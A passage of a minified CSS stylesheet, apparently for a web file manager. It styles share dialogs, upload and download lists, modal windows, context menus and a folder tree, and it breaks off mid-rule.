.aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}.frame-main{position:absolute;top:40px;width:100%;bottom:0px;}.frame-main .tools-left{background:#f8f8f8 url("../../../images/common/bg.gif") 0 